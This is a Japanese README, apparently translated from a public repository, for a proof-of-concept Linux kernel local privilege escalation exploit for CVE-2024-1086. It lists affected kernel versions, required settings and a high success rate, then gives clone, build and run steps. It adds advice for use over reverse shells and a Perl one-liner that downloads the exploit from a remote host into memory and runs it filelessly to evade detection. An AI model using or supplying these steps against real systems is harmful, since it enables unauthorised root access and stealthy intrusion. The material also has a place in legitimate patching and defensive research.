
CVE-2024-1086向けのローカル権限昇格エクスプロイトで、Linuxカーネルv5.14からv6.6を対象とし、KernelCTF環境では99.4%の成功率を誇ります。
CVE-2024-1086 のユニバーサルローカル権限昇格 Proof-of-Concept エクスプロイトです。v5.14 から v6.6 までのほとんどの Linux カーネル(Debian、Ubuntu、KernelCTF を含む)で動作します。KernelCTF イメージでの成功率は 99.4% です。
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
エクスプロイトの完全な詳細解説(背景情報や便利な図多数)は、Flipping Pages ブログ記事 にあります。
このエクスプロイトは、v5.14(含む)から v6.6(含む)までのバージョンに影響しますが、修正済みブランチ v5.15.149>、v6.1.76>、v6.6.15> は除外されます。これらのバージョンのパッチは 2024 年 2 月にリリースされました。根本的な脆弱性は、v3.15 から v6.8-rc1 までのすべてのバージョン(修正済み安定ブランチを除く)に影響します。
注意事項:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y が設定されている v6.4> カーネル(Ubuntu v6.5 を含む)では動作しません。CONFIG_USER_NS=y)が有効であり、それらのユーザ名前空間が非特権であること(sh コマンド sysctl kernel.unprivileged_userns_clone = 1)、および nf_tables が有効であること(kconfig CONFIG_NF_TABLES=y)を必要とします。デフォルトでは、これらはすべて Debian、Ubuntu、KernelCTF で有効になっています。他のディストリビューションはテストされていませんが、動作する可能性があります。また、このエクスプロイトは x64/amd64 でのみテストされています。デフォルト値は、Debian、Ubuntu、KernelCTF でローカルシェルを使えばそのまま動作するはずです。テストされていない環境/ディストリビューションでは、kconfig の値がターゲットカーネルと一致していることを確認してください。これらは src/config.h で指定できます。物理メモリが 32GiB を超えるマシンでエクスプロイトを実行する場合は、CONFIG_PHYS_MEM を増やしてください。
SSH 経由(テストマシンへ)またはリバースシェル経由でエクスプロイトを実行する場合は、CONFIG_REDIRECT_LOG を 1 に切り替えて、不要なネットワークアクティビティを避けるとよいでしょう。
これが不便な場合、デフォルト設定でコンパイル済みの x64 バイナリ も用意されています。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
バイナリ: CVE-2024-1086/exploit
エクスプロイトの実行は同様に簡単です:
./exploit
ファイルレス実行もサポートされています。検出を回避する必要があるペンテストの状況に備えて。ただし、ターゲットに Perl がインストールされている必要があります:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
このソフトウェアディレクトリ/フォルダ/リポジトリ(「リポジトリ」)内のプログラムおよびスクリプト(「プログラム」)は、教育/研究目的のみで公開、開発、配布されています。私(「作成者」)は、このリポジトリ内のプログラムの悪意のある使用や違法な使用を容認しません。その意図は研究を共有することであり、それを使って違法行為を行うことではありません。私は、このリポジトリ内のプログラムを使用してあなたが行ういかなることに対しても法的責任を負いません。